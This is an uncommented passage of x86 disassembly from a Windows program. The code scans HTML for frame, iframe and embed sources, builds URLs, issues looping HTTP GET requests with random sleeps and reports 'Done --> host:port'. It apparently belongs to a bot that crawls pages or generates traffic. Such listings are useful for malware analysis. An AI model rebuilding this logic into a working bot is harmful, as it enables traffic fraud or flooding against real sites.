aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-224h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-224h] call sub_40D58A loc_40E9B8: ; CODE XREF: .text:0040E91Cj lea ecx, [ebp-1A0h] call sub_40D58A lea ecx, [ebp-0E0h] call sub_40D58A loc_40E9CE: ; CODE XREF: .text:0040E811j lea ecx, [ebp-140h] jmp loc_40EF24 ; --------------------------------------------------------------------------- loc_40E9D9: ; CODE XREF: .text:0040E74Dj push offset aEmbed ; "embed" lea ecx, [ebp-0BCh] call sub_40D695 test eax, eax jnz loc_40EC77 push esi lea eax, [ebp-234h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_40D95B push edi lea ecx, [ebp-130h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 1Eh call sub_40D95B lea ecx, [ebp-234h] jmp short loc_40EA80 ; --------------------------------------------------------------------------- loc_40EA21: ; CODE XREF: .text:0040EA9Bj push offset byte_44D6A4 lea ecx, [ebp-130h] call sub_40D684 test eax, eax jz short loc_40EA9D inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-274h] lea ecx, [ebp-44h] push eax call sub_40D95B push edi lea ecx, [ebp-254h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 21h call sub_40D95B push eax lea ecx, [ebp-130h] mov byte ptr [ebp-4], 22h call sub_40D60A lea ecx, [ebp-254h] call sub_40D58A lea ecx, [ebp-274h] loc_40EA80: ; CODE XREF: .text:0040EA1Fj mov byte ptr [ebp-4], 20h call sub_40D58A lea ecx, [ebp-130h] push offset aSrc ; "src" call sub_40D695 test eax, eax jnz short loc_40EA21 loc_40EA9D: ; CODE XREF: .text:0040EA33j push offset byte_44D6A4 lea ecx, [ebp-130h] call sub_40D684 test eax, eax jz loc_40EC6C push esi lea eax, [ebp-294h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_40D95B push 1 push edi lea ecx, [ebp-150h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 23h call sub_40D810 lea ecx, [ebp-294h] call sub_40D58A lea ecx, [ebp-190h] call sub_40D512 push ebx lea ecx, [ebp-150h] mov byte ptr [ebp-4], 26h call sub_40D97F cmp byte ptr [eax], 2Fh lea ecx, [ebp-150h] jnz short loc_40EB3E call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-190h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_40D6A6 add esp, 14h jmp short loc_40EB9E ; --------------------------------------------------------------------------- loc_40EB3E: ; CODE XREF: .text:0040EB0Ej push offset aHttp_0 ; "http://" call sub_40D71D test eax, eax jz short loc_40EB60 lea eax, [ebp-150h] lea ecx, [ebp-190h] push eax call sub_40D60A jmp short loc_40EB9E ; --------------------------------------------------------------------------- loc_40EB60: ; CODE XREF: .text:0040EB4Aj lea ecx, [ebp-150h] call sub_40D989 push eax lea ecx, [ebp-1B0h] call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-190h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_40D6A6 add esp, 18h loc_40EB9E: ; CODE XREF: .text:0040EB3Cj ; .text:0040EB5Ej lea eax, [ebp-0ACh] lea ecx, [ebp-190h] push eax call sub_40D989 push eax call sub_40DB4B pop ecx test eax, eax pop ecx jz loc_40EC56 cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_40EBE5 call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_40D6A6 add esp, 0Ch jmp short loc_40EBFF ; --------------------------------------------------------------------------- loc_40EBE5: ; CODE XREF: .text:0040EBCAj push dword ptr [ebp-6Ch] call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_40D6A6 add esp, 10h loc_40EBFF: ; CODE XREF: .text:0040EBE3j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-2B4h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-2B4h] call sub_40D58A loc_40EC56: ; CODE XREF: .text:0040EBBAj lea ecx, [ebp-190h] call sub_40D58A lea ecx, [ebp-150h] call sub_40D58A loc_40EC6C: ; CODE XREF: .text:0040EAAFj lea ecx, [ebp-130h] jmp loc_40EF24 ; --------------------------------------------------------------------------- loc_40EC77: ; CODE XREF: .text:0040E9EBj push offset aFrame ; "frame" lea ecx, [ebp-0BCh] call sub_40D695 test eax, eax jz short loc_40ECA3 push offset aIframe ; "iframe" lea ecx, [ebp-0BCh] call sub_40D695 test eax, eax jnz loc_40EF29 loc_40ECA3: ; CODE XREF: .text:0040EC89j push esi lea eax, [ebp-2D4h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_40D95B push edi lea ecx, [ebp-120h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 27h call sub_40D95B lea ecx, [ebp-2D4h] jmp short loc_40ED32 ; --------------------------------------------------------------------------- loc_40ECD3: ; CODE XREF: .text:0040ED4Dj push offset byte_44D6A4 lea ecx, [ebp-120h] call sub_40D684 test eax, eax jz short loc_40ED4F inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-314h] lea ecx, [ebp-44h] push eax call sub_40D95B push edi lea ecx, [ebp-2F4h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 2Ah call sub_40D95B push eax lea ecx, [ebp-120h] mov byte ptr [ebp-4], 2Bh call sub_40D60A lea ecx, [ebp-2F4h] call sub_40D58A lea ecx, [ebp-314h] loc_40ED32: ; CODE XREF: .text:0040ECD1j mov byte ptr [ebp-4], 29h call sub_40D58A lea ecx, [ebp-120h] push offset aSrc ; "src" call sub_40D695 test eax, eax jnz short loc_40ECD3 loc_40ED4F: ; CODE XREF: .text:0040ECE5j push offset byte_44D6A4 lea ecx, [ebp-120h] call sub_40D684 test eax, eax jz loc_40EF1E push esi lea eax, [ebp-334h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_40D95B push 1 push edi lea ecx, [ebp-100h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 2Ch call sub_40D810 lea ecx, [ebp-334h] call sub_40D58A lea ecx, [ebp-180h] call sub_40D512 push ebx lea ecx, [ebp-100h] mov byte ptr [ebp-4], 2Fh call sub_40D97F cmp byte ptr [eax], 2Fh lea ecx, [ebp-100h] jnz short loc_40EDF0 call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-180h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_40D6A6 add esp, 14h jmp short loc_40EE50 ; --------------------------------------------------------------------------- loc_40EDF0: ; CODE XREF: .text:0040EDC0j push offset aHttp_0 ; "http://" call sub_40D71D test eax, eax jz short loc_40EE12 lea eax, [ebp-100h] lea ecx, [ebp-180h] push eax call sub_40D60A jmp short loc_40EE50 ; --------------------------------------------------------------------------- loc_40EE12: ; CODE XREF: .text:0040EDFCj lea ecx, [ebp-100h] call sub_40D989 push eax lea ecx, [ebp-1B0h] call sub_40D989 push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_40D989 push eax lea eax, [ebp-180h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_40D6A6 add esp, 18h loc_40EE50: ; CODE XREF: .text:0040EDEEj ; .text:0040EE10j lea eax, [ebp-0ACh] lea ecx, [ebp-180h] push eax call sub_40D989 push eax call sub_40DB4B pop ecx test eax, eax pop ecx jz loc_40EF08 cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_40EE97 call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_40D6A6 add esp, 0Ch jmp short loc_40EEB1 ; --------------------------------------------------------------------------- loc_40EE97: ; CODE XREF: .text:0040EE7Cj push dword ptr [ebp-6Ch] call sub_40D989 push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_40D6A6 add esp, 10h loc_40EEB1: ; CODE XREF: .text:0040EE95j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_40D989 push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_40D989 push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_40D6A6 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_40D989 push eax lea eax, [ebp-354h] push eax call sub_40DA0E add esp, 0Ch lea ecx, [ebp-354h] call sub_40D58A loc_40EF08: ; CODE XREF: .text:0040EE6Cj lea ecx, [ebp-180h] call sub_40D58A lea ecx, [ebp-100h] call sub_40D58A loc_40EF1E: ; CODE XREF: .text:0040ED61j lea ecx, [ebp-120h] loc_40EF24: ; CODE XREF: .text:0040E393j ; .text:0040E736j ... call sub_40D58A loc_40EF29: ; CODE XREF: .text:0040EC9Dj lea ecx, [ebp-0BCh] call sub_40D58A lea ecx, [ebp-44h] call sub_40D58A lea ecx, [ebp-0F0h] call sub_40D58A lea ecx, [ebp-0ACh] mov byte ptr [ebp-4], 3 call sub_40F05F loc_40EF56: ; CODE XREF: .text:0040E153j cmp [ebp-3B4h], ebx jnz loc_40E158 jmp short loc_40EF73 ; --------------------------------------------------------------------------- loc_40EF64: ; CODE XREF: .text:0040E176j lea ecx, [ebp-0ACh] mov byte ptr [ebp-4], 3 call sub_40F05F loc_40EF73: ; CODE XREF: .text:0040EF62j mov eax, [ebp-3B8h] cmp eax, ebx jnz short loc_40EF8E push 5265C00h push 36EE80h call sub_41409E pop ecx pop ecx loc_40EF8E: ; CODE XREF: .text:0040EF7Bj push eax call dword_42F15C ; Sleep inc dword ptr [ebp-48h] lea ecx, [ebp-0CCh] call sub_40D58A lea ecx, [ebp-20h] call sub_40D58A lea ecx, [ebp-30h] mov [ebp-4], bl call sub_40D58A mov eax, [ebp-48h] cmp eax, [ebp-3C0h] jl loc_40E08F loc_40EFC5: ; CODE XREF: .text:0040E07Fj cmp [ebp-3ACh], ebx mov esi, offset aDoneSU ; "Done --> %s:%u" jnz short loc_40EFFA cmp [ebp-3B0h], ebx jnz short loc_40F002 push dword ptr [ebp-3C4h] lea eax, [ebp-0C48h] push eax lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_4104F6 add esp, 14h loc_40EFFA: ; CODE XREF: .text:0040EFD0j cmp [ebp-3B0h], ebx jz short loc_40F022 loc_40F002: ; CODE XREF: .text:0040EFD8j push dword ptr [ebp-3C4h] lea eax, [ebp-0C48h] push eax lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_410491 add esp, 14h loc_40F022: ; CODE XREF: .text:0040F000j push dword ptr [ebp-3C8h] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread ; =============== S U B R O U T I N E ======================================= sub_40F035 proc near ; CODE XREF: .text:0040DFCBp ; .text:0040E15Ep mov edx, ecx call sub_40D512 lea ecx, [edx+10h] call sub_40D512 lea ecx, [edx+20h] call sub_40D512 lea ecx, [edx+30h] call sub_40D512 lea ecx, [edx+44h] call sub_40D512 mov eax, edx retn sub_40F035 endp ; =============== S U B R O U T I N E ======================================= sub_40F05F proc near ; CODE XREF: .text:0040E046p ; .text:0040EF51p ... push esi mov esi, ecx lea ecx, [esi+44h] call sub_40D58A lea ecx, [esi+30h] call sub_40D58A lea ecx, [esi+20h] call sub_40D58A lea ecx, [esi+10h] call sub_40D58A mov ecx, esi pop esi jmp sub_40D58A sub_40F05F endp ; =============== S U B R O U T I N E ======================================= sub_40F08A proc near ; CODE XREF: sub_40D810+132p ; .text:0042EC0Fj push esi mov esi, ecx push dword ptr [esi+4] call sub_421C78 xor eax, eax pop ecx mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn sub_40F08A endp ; =============== S U B R O U T I N E ======================================= sub_40F0A3 proc near ; CODE XREF: sub_40D810+112p arg_0 = dword ptr 4 push esi mov esi, ecx push edi mov edi, [esp+8+arg_0] mov ecx, [esi+4] test ecx, ecx jz short loc_40F0BE mov eax, [esi+8] sub eax, ecx sar eax, 2 cmp eax, edi ja short loc_40F0C5 loc_40F0BE: ; CODE XREF: sub_40F0A3+Dj mov ecx, esi call sub_40F0E1 loc_40F0C5: ; CODE XREF: sub_40F0A3+19j mov eax, [esi+4] lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40F0A3 endp ; =============== S U B R O U T I N E ======================================= sub_40F0D0 proc near ; CODE XREF: sub_40D810+76p arg_0 = dword ptr 4 push [esp+arg_0] push 1 push dword ptr [ecx+8] call sub_40F467 retn 4 sub_40F0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40F0E1 proc near ; CODE XREF: sub_40F0A3+1Dp mov eax, offset loc_42EEC0 call sub_423A68 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40F143 mov esi, offset aInvalidVectorT ; "invalid vector<T> subscript" push esi call sub_422120 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40F17B and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_40F1B0 lea eax, [ebp-3Ch] push offset dword_4300C0 push eax mov dword ptr [ebp-3Ch], offset off_42F378 call sub_423A87 pop esi loc_40F13B: ; CODE XREF: .text:0042EEBBj ; .text:0042EF57j ... push 1 call sub_40F143 retn sub_40F0E1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F143 proc near ; CODE XREF: sub_40F0E1+19p ; sub_40F0E1+5Cp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40F16B mov eax, [esi+4] test eax, eax jz short loc_40F16B dec eax mov cl, [eax] test cl, cl jz short loc_40F164 cmp cl, 0FFh jz short loc_40F164 dec byte ptr [eax] jmp short loc_40F16B ; --------------------------------------------------------------------------- loc_40F164: ; CODE XREF: sub_40F143+16j ; sub_40F143+1Bj push eax call sub_421C78 pop ecx loc_40F16B: ; CODE XREF: sub_40F143+8j ; sub_40F143+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40F143 endp ; =============== S U B R O U T I N E ======================================= sub_40F17B proc near ; CODE XREF: sub_40F0E1+2Fp ; sub_40F740+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40F3E1 test al, al jz short loc_40F1A9 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4223F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40F1A9: ; CODE XREF: sub_40F17B+12j mov eax, esi pop edi pop esi retn 8 sub_40F17B endp ; =============== S U B R O U T I N E ======================================= sub_40F1B0 proc near ; CODE XREF: sub_40F0E1+3Fp ; sub_421C83+3Fp ... mov eax, offset loc_42EED4 call sub_423A68 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_44D6A4 call sub_423B24 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_40F143 push 0FFFFFFFFh push 0 push ebx mov ecx, edi call sub_40F210 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_42F368 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40F1B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F210 proc near ; CODE XREF: sub_40F1B0+42p ; sub_40F389+3Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40F228 call sub_421D6B loc_40F228: ; CODE XREF: sub_40F210+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40F23A mov esi, [ebp+arg_8] loc_40F23A: ; CODE XREF: sub_40F210+25j cmp edi, ebx jnz short loc_40F258 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_40F2DD push [ebp+arg_4] mov ecx, edi push 0 call sub_40F2DD jmp short loc_40F2D4 ; --------------------------------------------------------------------------- loc_40F258: ; CODE XREF: sub_40F210+2Cj test esi, esi jbe short loc_40F29B cmp esi, eax jnz short loc_40F29B mov eax, [ebx+4] test eax, eax jnz short loc_40F26C mov eax, offset dword_42F314 loc_40F26C: ; CODE XREF: sub_40F210+55j cmp byte ptr [eax-1], 0FEh jnb short loc_40F29B push 1 mov ecx, edi call sub_40F143 mov eax, [ebx+4] test eax, eax jnz short loc_40F287 mov eax, offset dword_42F314 loc_40F287: ; CODE XREF: sub_40F210+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40F2D4 ; --------------------------------------------------------------------------- loc_40F29B: ; CODE XREF: sub_40F210+4Aj ; sub_40F210+4Ej ... push 1 push esi mov ecx, edi call sub_40F3E1 test al, al jz short loc_40F2D4 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_40F2B8 mov eax, offset dword_42F314 loc_40F2B8: ; CODE XREF: sub_40F210+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4223F0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40F2D4: ; CODE XREF: sub_40F210+46j ; sub_40F210+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40F210 endp ; =============== S U B R O U T I N E ======================================= sub_40F2DD proc near ; CODE XREF: sub_40F210+35p ; sub_40F210+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40F2F0 call sub_421D6B loc_40F2F0: ; CODE XREF: sub_40F2DD+Cj mov ecx, edi call sub_40F740 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40F306 mov ebx, eax loc_40F306: ; CODE XREF: sub_40F2DD+25j test ebx, ebx jbe short loc_40F33C mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_423C20 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40F3E1 test al, al jz short loc_40F33C mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40F33C: ; CODE XREF: sub_40F2DD+2Bj ; sub_40F2DD+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40F2DD endp ; =============== S U B R O U T I N E ======================================= sub_40F344 proc near ; DATA XREF: .text:0042F34Co ; .text:0042F36Co ... mov eax, [ecx+10h] test eax, eax jnz short locret_40F350 mov eax, offset dword_42F314 locret_40F350: ; CODE XREF: sub_40F344+5j retn sub_40F344 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F351 proc near ; DATA XREF: .text:0042F370o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_40F389 lea eax, [ebp+var_1C] push offset dword_430124 push eax call sub_423A87 sub_40F351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F36E proc near ; CODE XREF: sub_40F632+20p ; DATA XREF: .text:004300C4o ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_42F368 call sub_40F143 mov ecx, esi pop esi jmp sub_423BAB sub_40F36E endp ; =============== S U B R O U T I N E ======================================= sub_40F389 proc near ; CODE XREF: sub_40F351+Ap ; sub_40F728+7p ... mov eax, offset loc_42EEE8 call sub_423A68 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_423B61 and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_40F143 push 0FFFFFFFFh push 0 push ebx mov ecx, edi call sub_40F210 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_42F368 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40F389 endp ; =============== S U B R O U T I N E ======================================= sub_40F3E1 proc near ; CODE XREF: sub_40F17B+Bp ; sub_40F210+90p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40F3F3 call sub_421C83 loc_40F3F3: ; CODE XREF: sub_40F3E1+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_40F41B mov cl, [eax-1] cmp cl, dl jz short loc_40F41B cmp cl, 0FFh jz short loc_40F41B cmp edi, edx mov ecx, esi jnz short loc_40F45A dec byte ptr [eax-1] push edx loc_40F412: ; CODE XREF: sub_40F3E1+48j call sub_40F143 loc_40F417: ; CODE XREF: sub_40F3E1+4Cj ; sub_40F3E1+53j xor al, al jmp short loc_40F462 ; --------------------------------------------------------------------------- loc_40F41B: ; CODE XREF: sub_40F3E1+19j ; sub_40F3E1+20j ... cmp edi, edx jnz short loc_40F436 cmp [esp+8+arg_4], dl jz short loc_40F42B push 1 mov ecx, esi jmp short loc_40F412 ; --------------------------------------------------------------------------- loc_40F42B: ; CODE XREF: sub_40F3E1+42j cmp eax, edx jz short loc_40F417 mov [esi+8], edx mov [eax], dl jmp short loc_40F417 ; --------------------------------------------------------------------------- loc_40F436: ; CODE XREF: sub_40F3E1+3Cj cmp [esp+8+arg_4], dl jz short loc_40F453 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40F448 cmp eax, edi jnb short loc_40F460 loc_40F448: ; CODE XREF: sub_40F3E1+61j push 1 mov ecx, esi call sub_40F143 jmp short loc_40F458 ; --------------------------------------------------------------------------- loc_40F453: ; CODE XREF: sub_40F3E1+59j cmp [esi+0Ch], edi jnb short loc_40F460 loc_40F458: ; CODE XREF: sub_40F3E1+70j mov ecx, esi loc_40F45A: ; CODE XREF: sub_40F3E1+2Bj push edi call sub_40F66B loc_40F460: ; CODE XREF: sub_40F3E1+65j ; sub_40F3E1+75j mov al, 1 loc_40F462: ; CODE XREF: sub_40F3E1+38j pop edi pop esi retn 8 sub_40F3E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F467 proc near ; CODE XREF: sub_40F0D0+9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi mov edi, [ebp+arg_4] mov ecx, [esi+8] mov eax, [esi+0Ch] sub eax, ecx sar eax, 2 cmp eax, edi jnb loc_40F559 mov edx, [esi+4] test edx, edx jz short loc_40F498 mov eax, ecx sub eax, edx sar eax, 2 cmp edi, eax jb short loc_40F49A loc_40F498: ; CODE XREF: sub_40F467+24j mov eax, edi loc_40F49A: ; CODE XREF: sub_40F467+2Fj test edx, edx jnz short loc_40F4A2 xor ecx, ecx jmp short loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F4A2: ; CODE XREF: sub_40F467+35j sub ecx, edx sar ecx, 2 loc_40F4A7: ; CODE XREF: sub_40F467+39j add eax, ecx test eax, eax mov [ebp+var_4], eax jge short loc_40F4B2 xor eax, eax loc_40F4B2: ; CODE XREF: sub_40F467+47j shl eax, 2 push eax call sub_423F55 mov edx, eax mov eax, [esi+4] pop ecx mov [ebp+arg_4], edx jmp short loc_40F4D4 ; --------------------------------------------------------------------------- loc_40F4C6: ; CODE XREF: sub_40F467+70j test edx, edx jz short loc_40F4CE mov ecx, [eax] mov [edx], ecx loc_40F4CE: ; CODE XREF: sub_40F467+61j add edx, 4 add eax, 4 loc_40F4D4: ; CODE XREF: sub_40F467+5Dj cmp eax, [ebp+arg_0] jnz short loc_40F4C6 test edi, edi mov eax, edx jbe short loc_40F4F2 mov ecx, edi loc_40F4E1: ; CODE XREF: sub_40F467+89j test eax, eax jz short loc_40F4EC mov ebx, [ebp+arg_8] mov ebx, [ebx] mov [eax], ebx loc_40F4EC: ; CODE XREF: sub_40F467+7Cj add eax, 4 dec ecx jnz short loc_40F4E1 loc_40F4F2: ; CODE XREF: sub_40F467+76j mov eax, [esi+8] mov ecx, edi shl ecx, 2 cmp [ebp+arg_0], eax mov [ebp+arg_8], eax lea ebx, [ecx+edx] jz short loc_40F521 mov eax, ebx sub eax, ecx sub eax, edx add eax, [ebp+arg_0] loc_40F50E: ; CODE XREF: sub_40F467+B8j test ebx, ebx jz short loc_40F516 mov ecx, [eax] mov [ebx], ecx loc_40F516: ; CODE XREF: sub_40F467+A9j add eax, 4 add ebx, 4 cmp eax, [ebp+arg_8] jnz short loc_40F50E loc_40F521: ; CODE XREF: sub_40F467+9Cj push dword ptr [esi+4] call sub_421C78 mov eax, [ebp+var_4] mov edx, [esi+4] pop ecx mov ecx, [ebp+arg_4] test edx, edx lea eax, [ecx+eax*4] mov [esi+0Ch], eax jnz short loc_40F541 xor eax, eax jmp short loc_40F549 ; --------------------------------------------------------------------------- loc_40F541: ; CODE XREF: sub_40F467+D4j mov eax, [esi+8] sub eax, edx sar eax, 2 loc_40F549: ; CODE XREF: sub_40F467+D8j add eax, edi mov [esi+4], ecx lea eax, [ecx+eax*4] mov [esi+8], eax jmp loc_40F62B ; --------------------------------------------------------------------------- loc_40F559: ; CODE XREF: sub_40F467+19j mov edx, [ebp+arg_0] mov eax, ecx sub eax, edx sar eax, 2 cmp eax, edi jnb short loc_40F5D5 mov ebx, edi shl ebx, 2 cmp edx, ecx mov [ebp+arg_0], ebx lea eax, [ebx+edx] mov [ebp+var_4], eax jz short loc_40F59C sub eax, ebx mov ebx, [ebp+var_4] mov [ebp+arg_4], eax loc_40F581: ; CODE XREF: sub_40F467+130j test ebx, ebx jz short loc_40F58C mov eax, [eax] mov [ebx], eax mov eax, [ebp+arg_4] loc_40F58C: ; CODE XREF: sub_40F467+11Cj add eax, 4 add ebx, 4 cmp eax, ecx mov [ebp+arg_4], eax jnz short loc_40F581 mov ebx, [ebp+arg_0] loc_40F59C: ; CODE XREF: sub_40F467+110j mov eax, [esi+8] mov ecx, eax sub ecx, edx sar ecx, 2 sub edi, ecx mov ecx, [ebp+arg_8] jz short loc_40F5C0 mov [ebp+arg_0], edi loc_40F5B0: ; CODE XREF: sub_40F467+157j test eax, eax jz short loc_40F5B8 mov edi, [ecx] mov [eax], edi loc_40F5B8: ; CODE XREF: sub_40F467+14Bj add eax, 4 dec [ebp+arg_0] jnz short loc_40F5B0 loc_40F5C0: ; CODE XREF: sub_40F467+144j mov eax, [esi+8] jmp short loc_40F5CC ; --------------------------------------------------------------------------- loc_40F5C5: ; CODE XREF: sub_40F467+167j mov edi, [ecx] mov [edx], edi add edx, 4 loc_40F5CC: ; CODE XREF: sub_40F467+15Cj cmp edx, eax jnz short loc_40F5C5 add [esi+8], ebx jmp short loc_40F62B ; --------------------------------------------------------------------------- loc_40F5D5: ; CODE XREF: sub_40F467+FEj test edi, edi jbe short loc_40F62B shl edi, 2 mov eax, ecx mov ebx, ecx mov [ebp+arg_0], edi sub eax, edi jmp short loc_40F5F8 ; --------------------------------------------------------------------------- loc_40F5E7: ; CODE XREF: sub_40F467+193j test ebx, ebx jz short loc_40F5F2 mov edi, [eax] mov [ebx], edi mov edi, [ebp+arg_0] loc_40F5F2: ; CODE XREF: sub_40F467+182j add ebx, 4 add eax, 4 loc_40F5F8: ; CODE XREF: sub_40F467+17Ej cmp eax, ecx jnz short loc_40F5E7 mov ecx, [esi+8] mov eax, ecx sub eax, edi cmp edx, eax jz short loc_40F615 loc_40F607: ; CODE XREF: sub_40F467+1ACj sub eax, 4 sub ecx, 4 cmp eax, edx mov ebx, [eax] mov [ecx], ebx jnz short loc_40F607 loc_40F615: ; CODE XREF: sub_40F467+19Ej lea eax, [edi+edx] jmp short loc_40F624 ; --------------------------------------------------------------------------- loc_40F61A: ; CODE XREF: sub_40F467+1BFj mov ecx, [ebp+arg_8] mov ecx, [ecx] mov [edx], ecx add edx, 4 loc_40F624: ; CODE XREF: sub_40F467+1B1j cmp edx, eax jnz short loc_40F61A add [esi+8], edi loc_40F62B: ; CODE XREF: sub_40F467+EDj ; sub_40F467+16Cj ... pop edi pop esi pop ebx leave retn 0Ch sub_40F467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F632 proc near ; DATA XREF: .text:0042F380o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx 